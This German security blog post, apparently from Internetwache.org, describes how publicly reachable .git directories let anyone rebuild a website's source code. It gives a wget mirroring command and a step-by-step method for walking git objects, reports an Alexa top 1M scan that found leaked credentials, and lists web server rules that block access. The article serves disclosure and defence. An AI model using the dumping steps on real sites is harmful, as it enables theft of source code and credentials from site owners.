Wie ungeschützte .git Repositorys die Sicherheit Ihrer Webseite gefährden - Eine Analyse der Alexa 1M

Sebastian hat vor einigen Monaten an einem CTF (capture the flag) teilgenommen. Eine Aufgabe mit der er dabei konfrontiert wurde, war das Wiederherstellen eines .git Repository’s auf einem Webserver, welcher Directory-Listing eingeschaltet hatte. Mit der Auflistung der Verzeichnisinhalte ist das Auslesen vergleichsweise einfach, aber geht es auch ohne? Schließlich kann man damit eine Menge Schindluder treiben, etwa fremde .git Repository auslesen und somit Zugriff auf den Quellcode einer Webseite und ggf. Passwörter erhalten.

Also beschäftigten wir uns etwas mehr mit der Materie, schrieben einige kleine Tools und haben ein paar Beobachtungen angestellt, die wir gern weitergeben möchten. Das Ergebnis war zwar nicht so dramatisch, wie befürchtet, aber dennoch überraschend.

TL; DR

Einige Webseiten hosten ihre Versionierungs Repositorys (wie zum Beispiel .git/) öffentlich. Das ermöglicht Angreifern das Herunterladen und Wiederherstellen der Repositorys, um Zugriff auf den Quellcode einer Applikation zu erhalten. Bitte prüfen Sie die Konfiguration Ihres Webservers, um sicherzustellen, dass der Zugriff von außen auf diese Dateien nicht möglich ist.

Was ist ein Versionierungstool?

Vor einigen Jahrzehnten standen Entwickler vor dem Problem gemeinsam aus der Ferne Programme zu entwickeln. Um diesem Problem Abhilfe zu schaffen, wurden Versionierungstools entwickelt. Die primäre Aufgabe dieser Tools ist es verteilte Arbeit an einem zentralen Quellcode zu ermöglichen. Das wird unteranderem darüber erreicht indem sämtliche Codeänderungen (meist “Commit” genannt) protokolliert werden. Ein sehr bekanntes Tool zur Versionierung heißt git und wurde damals von Linus Torvalds ins Leben gerufen. Auch im Web ist git mittlerweile stark vertreten, Webseiten wie github.com bieten das kostenlose Hostin dieser Repositorys an.

Wir haben uns während der Arbeit an diesem Artikel primär auf `git fokusiert:

Es gibt allerdings noch eine Vielzahl anderer Versionierungstools, die ebenfalls das hier beschriebene Verhalten aufweisen können:

Wieso kann ein öffentlich zugängliches Repository die Sicherheit einer Webapplikation gefährden?

Beim Deployen von Webapplikationen klonen die meisten Entwickler einfach ihr Repository. Die meisten Versionierungstools erstellen dabei einen Meta bzw. Tracking Ordner im Wurzelverzeichnis des Projektes. Zum Beispiel erstellt git einen Ordner mit dem Namen “.git” in der eine komplette Kopie des Repositorys angelegt wird. Andere Versionierungstools weisen ein ähnliches Verhalten auf (bspw. SVN)

Wahrscheinlich ahnt der ein oder andere an dieser Stelle schon, was so mancher Angreifer anstellen kann, wenn der entsprechende Pfad zum Repository nicht geschützt wird. Der Ordner enthält nicht nur den gesamten Quellcode der Applikation, sondern auch alle vorherigen Versionen, Änderungen und möglicherweise auch Konfigurationsdateien mit sensiblen Systeminformationen. Das ebnet einem Angreifer die Möglichkeit die Webseite zu übernehmen, beispielsweise indem der Quellcode nach weiteren Lücken untersucht werden kann.

Das Herunterladen des Quellcodes

Nun also zum interessanten Part - Wie laden wir das Repository herunter, um Zugriff auf den Quellcode zu erhalten? Grundsätzlich gibt es dazu zwei Wege:

  • einen einfachen Weg, falls der Webserver das Anzeigen der Verzeichnisstruktur (directory listing) eingeschaltet hat
  • einen harten Weg, andernfalls

Wie bereits erwähnt, verwenden die meisten Versionierungstools viele kleine Datein (Objekte), um die Änderungen zu verwalten. Die Dateinahmen sind allerdings das Ergebnis von Hashfunktionen und somit recht schwer zu erraten (Brute Force). Wir müssen also einen anderen Weg finden trotzdem an die Dateien und ihre Namen zu kommen.

Der einfache Weg

Zunächst einmal sollte die Verzeichnisstrukturen auf Produktivsystemen nicht angezeigt werden. Sollen Sie sich also an dieser Stelle ertappt fühlen, zögern sie nicht - hören Sie auf zu lesen und setzen diese “Best practice” um :)! Das ist allerdings nicht ausreichend, um einen möglichen Angreifer aufzuhalten (mehr dazu: “Der harte Weg”)

Das Anzeigen der Verzeichnisstrukturen hilft einem potenziellen Angreifer sehr, da zur Kopie der Daten ein einfacher Befehl genügt:

Abbildung eines git Repositories mit eingeschaltetem directory listing

Es genügt folgenden wget Befehl auszuführen:

1
wget --mirror -I .git TARGET.COM/.git/ 

Nach dem Herunterladen kann man in den betreffenden Ordner wechseln und einige Shells (etwa fish oder zsh) teilen bereits mit, dass es sich um ein git-versioniertes Verzeichnis handelt (siehe “master”-branch Hinweis).

1
2
3
4
5
6
7
8
9
10
11
12
/tmp/test/ttrss.me (0) (master)                                                                                                                                        
> git status | head -n 10 
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        deleted:       .buildpath
        deleted:       .gitignore
        deleted:       .htaccess
        deleted:       .project

Nach dem Ausführen von git checkout -- . wird das Repository zurückgesetzt und alle Dateien werden wiederhergestellt.

1
2
3
4
5
6
7
8
9
10
11
/tmp/test/ttrss.me (0) (master) 
> /usr/bin/ls | head -n 10
apiatom-to-html.xsl
backend.php
cache
classes
config.php-dist
css
errors.php
feed-icons
image.php

Wir haben also erfolgreich eine Kopie des Quellcodes der Webseite erhalten.

Der harte Weg

Wie bereits in der Einleitung erwähnt, ging es uns auch darum einen Weg zu finden das Repository herunterzuladen, selbst wenn das Anzeigen der Verzeichnisstrukturen ausgeschaltet ist. Damit das möglich ist, haben wir uns etwas mit der internen Funktionsweise von git beschäftigt, um zu verstehen wie ein Repository aufgebaut ist.

Wir möchten an dieser Stelle nicht zu sehr ins Detail gehen, empfehlen allerdings sehr die Lektüre entsprechender Kapitel aus diesem Buch git-scm.com/book. Es sei allerdings gesagt, dass es insgesamt drei verschiedene Arten von Objekten in einem git Repository gibt:

  • Blob - die eigentlichen Daten (beispielsweise den Quellcode)
  • Tree - gliedert Blobs
  • Commit - Ein gewisser Zustand eines Trees mit einigen zusätzlichen Informationen (zum Beispiel: Autor/Datum/sonstiges)

All diese Informationen nutzt git, um Versionierung zu ermöglichen und Repositorys zu verwalten. Das “Problem” was man nun als Angreifer hat ist, dass diese Informationen folgendermaßen in Dateien abgespeichert wurden: .git/objects/[Ersten-2-bytes]/[Restliche-38-bytes]. Der Dateiname ist ein langer SHA-1-Hash eines Objektes. Wir müssen also eine Menge Glück haben, um alle Dateinamen zu erraten und sie damit herunterladen zu können. Da uns das Glück allerdings oft im Stich lässt und das Ausprobieren von SHA-1 Werten auch keine gute Idee ist (es dauert ewig), suchen wir nach einer anderen Möglichkeit.

Was uns an dieser Stelle hilft, ist der Fakt, dass manche Dateien in einem Repository identisch sind:

  • HEAD
  • objects/info/packs
  • description
  • config
  • COMMIT_EDITMSG
  • index
  • packed-refs
  • refs/heads/master
  • refs/remotes/origin/HEAD
  • refs/stash
  • logs/HEAD
  • logs/refs/heads/master
  • logs/refs/remotes/origin/HEAD
  • info/refs
  • info/exclude

Diese Dateien referenzieren entweder ein Objekt über den dazugehörigen Hash oder eine Datei, welche dann mittels Hash auf ein Objekt zeigt (und so weiter). Das bietet uns als Angreifer also die Möglichkeit Hashwerte auszulesen und die Dateien herunterzuladen. Wir müssen die Hashwerte also aus den bereits heruntergeladenen Dateien extrahieren.

So können wir zum Beispiel die refs/heads/master Datei etwas näher betrachten:

1
2
> cat .git/refs/heads/master 
6916ae52c0b20b04569c262275d27422fc4fcd34

Die Referenz in master zeigt auf einen Commit mit dem Hashwert 6916ae52c0b20b04569c262275d27422fc4fcd34. Nachdem wir auch diesen näher betrachtet haben (die URL dazu ist logischerweise: .git/objects/69/16ae52c0b20b04569c262275d27422fc4fcd34), können wir mit der Analyse des selbigen fortfahren.

1
2
> git cat-file -t 6916ae52c0b20b04569c262275d27422fc4fcd34 
commit

Wir erfahren, dass es sich bei dem herutergeladenen Objekt tatsächlich um einen Commit handelt. Schauen wir nun wieder nach einigen Details:

1
2
3
4
5
6
7
> git cat-file -p 6916ae52c0b20b04569c262275d27422fc4fcd34 
tree fa3887a0b798346c122afdd7c5ecc605bf3c18c0
parent 9264d57c621f66208d689ef653ce8a62c3bccfae
author XY <foo@bar> 1429391394 +0200
committer XY <foo@bar> 1429391394 +0200

Added another readme file

Okay, jetzt wissen wir den Hash des dazugehörigen Trees und weitere Informationen etwa über den Autor und kennen auch die Commit-Nachricht.

Wir laden also das Tree-Objekt herunter und analysieren es:

1
2
3
4
5
> git cat-file -p fa3887a0b798346c122afdd7c5ecc605bf3c18c0
040000 tree 532fc6055e09e0a2d5602f4b84c0dbadce1b5f3e        Dumper
040000 tree 077ce769dedcf19d0f063246256e8ae0394fd8df        Extractor
040000 tree d6e1bd4677a256e760cce5ddaa7db7ea6f9a8900        Finder
100644 blob 9670cf17dfeec351c395493058044b9f9dadbe2a        README.md

Dadurch erhalten wir die Namen der Dateien, welche in dem Pfad sind. Zu bemerken ist an dieser Stelle, dass Dumper, Extractor und Finder ebenfalls Trees (also Verzeichnisse) sind. Der finale Schritt an dieser Stelle ist allerdings das Herunterladen des README.md Blob Objektes und die Untersuchung des Inhalts.

1
2
3
4
> git cat-file -p 9670cf17dfeec351c395493058044b9f9dadbe2a
Git Tools
=============
[...]

Besondere Beachtung ist allerdings auch den sogenannten Packs zu finden. Wir finden diese in folgendem Verzeichnis: .git/objects/info/packs

1
2
> cat .git/objects/info/packs 
P pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack

Das entsprechende Paket findet sich in .git/objects/pack/:

1
2
3
> /usr/bin/ls .git/objects/pack/
pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.idx
pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack

In einem solchen Fall, müssen wir beide Dateien herunterladen und folgenden Befehl ausführen, um den Inhalt des Pakets zu extrahieren.

1
2
> git unpack-objects -r < .git/objects/pack/pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack
Unpacking objects: 100% (15/15), done.

Wenn man dieses Vorgehen rekusiv und für jeden möglichen Hash macht, den man bereits heruntergeladen hat, so ist man in der Lage nach und nach das eigentliche Repsository und dessen Inhalt wiederherzustellen.

Manchmal wird das Herunterladen eines bestimmten Objektes scheitern und wir erhalten nur ein unvollständiges Repository. In einem solchen Fall können wir allerdings den git fsck Befehl nutzen, um nach den fehlenden Dateien zu suchen.

Tools

Die Tools sind auf Github unter folgendem Link abrufbar: https://github.com/internetwache/GitTools.

Es handelt sich um 3 getrennte Programme. Eins zum Finden, eins zum Herunterladen und eins zum Extrahieren von Repositories.

Preview des recovery Tools:

Scan der Alexa Top 1M

Durch einen Scan der Alexa Top 1M Domains haben wir einiges an Erkenntnisse und Daten über git Repositorys gewinnen können. Wir haben rund 9700 öffentlich abrufbare git repositories gefunden, was bedeutet, dass <1% anfällig für diese Art Angriff sind.

Bei einem genaueren Blick auf unsere Daten stellten wir insbesondere bei folgenden Webseiten viele Anfälligkeiten fest:

  • Webseiten großer deutscher und amerikanischer Parteien / NGOs und einigen staatlichen Webseiten (.gov)
  • TV-Sender und Radiosender (>20)
  • Online-Communities (einige sogar mit mehr als >6 Millionen Nutzern)
  • Trading- bzw. Banking Webseiten
  • Online Privacy-Dienst
  • Fußballclus aus der deutschen Bundesliga
  • Webseiten mit pornografischen Inhalten
  • Kleinere und größere Webshops

Auf einigen wenigen Webseiten war das Erreichen der git-Repositorys mit hoher Wahrscheinlichkeit beabsichtigt (etwa bei Open Source Projekten) - die meisten Open Source Projekte haben ohnehin ihren Quellcode öffentlich einsehbar.

Je mehr der Alexa Traffic Rank stieg, desto größer wurde die Wahrscheinlichkeit auf anfällige Webseiten zu stoßen.

Alexa rank mit kummulierten anfälligen Websites

Hier ist eine Übersicht über die bekanntesten Top Level Domains und die Anzahl der betroffenen Webseiten

TLDs von betroffenen Webseiten

Sehr interessant ist auch die Betrachtung der Verteilung der jeweils genutzten Protokolle. Es wurden oft unverschlüsselte Protokolle wie http oder git genutzt.

Liste von genutzten Protokollen

GitHub bzw. BitBucket wurden neben anderen Hostingplatformen überdurchschnittlich oft verwendet.

Meistgenutzte hosting services

Inteeressant

Liste mit den am meisten verbreiteten Branch Namen

Zu unserem erstaunen haben auch über 100 Projekte HTTP-Authentifizierung für die Client-Server Kommunikation genutzt. Das bedeutet, dass aus der config-Datei folgende Kombination entnommen werden konnte: Protokoll://Nutzer:Passwort@host/repository. Das gibt Angreifern direkten Zugriff auf entsprechende Accounts und GitLab-Instanzen oder GitHub und BitBucket. Mit etwas Glück erlangt ein Angreifer somit sogar Zugriff auf den CI-Server und kann von dort aus schädlichen Code ausführen, um die gesamte Infrastruktur zu kompromitieren. Desweiteren konnten wir eine Vielzahl von AWS/Datenbank/SMTP/FTP Informationen (Logins) aus den Repositorys entnehmen.

Wie kann man die Lücke schließen?

Zunächst sollte erwähnt werden, dass git ein prima Tool ist, wenn man es korrekt nutzt. Nicht git zu benutzen ist also nicht die richtige Option, vielmehr sollte darauf geachtet werden, dass der Webserver korrekt konfiguriert ist und entsprechende Zugriffe verhindert. Nachfolgend haben wir eine Liste der weitverbreitesten Webserver erstellt und beschrieben wie man entsprechende Pfade sperren kann.

Meist ist das Sperren des .git Pfads sehr einfach.

Apache

Für 2.4:

1
2
3
<DirectoryMatch "^/.*/\.git/">
    Require all denied
</DirectoryMatch>

Für 2.2:

1
2
3
4
<DirectoryMatch "^/.*/\.git/">
    Order deny,allow
    Deny from all
</DirectoryMatch>

Wenn Sie diesen Code in der httpd.conf platzieren ist der Pfad gesperrt.

Nginx

1
2
3
location ~ /.git/ {
      deny all;
}

Wenn diese Zeilen Code im server-Block der nginx.conf Datei plaziert werden, greift die Sperre.

Lighttpd

Hier muss zunächst muss das mod_access Module aktiviert werden:

1
server.modules += ( "mod_access" )

Dannach können wir entsprechende Zugriffe auf Pfade, so etwa das .git Verzeichnis blockieren:

1
2
3
$HTTP["url"] =~ "^/\.git/" {
     url.access-deny = ("")
}

Dieser Code muss dazu in der lighttpd.conf plaziert werden.

Eine andere Vorangehensweise ist mittels --git-dir and --work-tree das git Repository außerhalb dem Wurzelverzeichnis zu platzieren.

Microsoft IIS

Wir wurden darauf hingewiesen, dass folgende Powershell-Kommandos den .git Ordner zu dem Request Filtering hinzufügen:

1
2
3
4
Import-Module IISAdministration
$requestFiltering = Get-IISConfigSection -CommitPath 'Default Web Site' -SectionPath 'system.webServer/security/requestFiltering'
$hiddenSegments = Get-IISConfigCollection -ConfigElement $requestFiltering -CollectionName 'hiddenSegments'
New-IISConfigCollectionElement -ConfigCollection $hiddenSegments -ConfigAttribute @{ 'segment'='.git' }

In der resultierenden web.config sollte dann folgendes stehen:

1
2
3
4
5
6
7
8
9
10
11
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <add segment=".git" />
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Zusammenfassung

Es gibt zahlreiche bekannte Webseiten, welche nicht den Zugriff auf den /.git/-Ordner blockieren. Potentzielle Angreifer können so an Quellcode und andere sensible Informationen kommen. Dieses Verhalten lässt sich leicht unterbinden. Sofern Sie Admin sind bitten wir also darum sich einige Minuten Zeit zu nehmen, um zu kontrollieren, dass der Server richtig konfiguriert ist.

Soweit, so gut.

Das Team der Internetwache.org